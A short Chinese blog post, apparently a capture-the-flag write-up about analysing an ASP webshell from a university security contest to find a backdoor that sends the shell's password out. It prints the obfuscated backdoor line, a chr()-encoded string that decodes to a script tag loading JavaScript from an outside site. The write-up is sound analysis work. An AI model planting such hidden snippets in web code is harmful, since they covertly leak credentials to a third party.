今天群里发了西南石油大学安全比赛的地址。说一起刷分,正好中午时间,就做了几个简单的,只用了python+firebug,发现很多题都可以解。其中有一个题:shell分析,是个asp的webshell,让你找出shell里发送密码的后门。
这里记录我的思路:
开始看到这个题,直接找存储密码的变量,搜索。找到提交的地方和验证密码的地方,发现都没问题。(asp看不大懂)
然后搜索官网的url,我猜题中的后门肯定是官网的url,因为后门地址会显示解题密码。搜索“swpuwllm”无果,我想应该加密了,然后这个题就放下了。
下午,群里有人提出这个题,就又心血来潮,准备搞一下(还在上班)。。当时的第一反应还是加密了,但是为什么提交的地方和验证的地方没有呢?
下面我又在群里说,想到有asp环境的搭建个环境,看一下就好了,不是在浏览器端发送的密码,就是服务器端发送的密码,都能截到。
但是我当时上头了,非要找出来。就又把那两处的代码看了一遍,发现提交的地方form标签没有闭合,想到藏在其他地方了,往下看,发现下面就是登录后的功能了。(可能这里理解错误,asp不怎么懂)
突然想到,存储密码的是个变量,他随时可以发送啊,为什么非要这两个地方呢。于是想,会不会就像from标签没闭合,隐藏在哪个提交表单里,一起提交发送了呢。
于是搜索</form>,挨个排除。找到可以字串Function:Asuna=chr(62)&chr(116)&chr(112)&chr(105)&chr(114)&chr(99)&chr(115)&chr(47)&chr(60)&chr(62)&chr(115)&chr(106)&chr(46)&chr(117)&chr(112)&chr(119)&chr(115)&chr(50)&chr(49)&chr(48)&chr(50)&chr(47)&chr(110)&chr(99)&chr(46)&chr(105)&chr(101)&chr(102)&chr(97)&chr(121)&chr(97)&chr(109)&chr(46)&chr(119)&chr(119)&chr(119)&chr(47)&chr(47)&chr(58)&chr(112)&chr(116)&chr(116)&chr(104)&chr(61)&chr(99)&chr(114)&chr(115)&chr(32)&chr(116)&chr(112)&chr(105)&chr(114)&chr(99)&chr(115)&chr(60):看不到什么意思,就先翻一下(到现在也不知道他是怎么做的,懒得看)这是在上传的地方的代码,想研究肯定需要搜索Asuna。
下面,用python,split,eval,显示出字符串。顺序打乱了,不过能看出url的格式。还能看出是用的js。
发到群里边,已经有搭建asp环境找到的。然后。。
解决问题有很多思路撒,由于环境,技术等各种因素可能对你不合适,转变思路总可以的撒~
上一篇: python中and or用法
下一篇: Golang import使用入门---转自beego
0 Responses so far.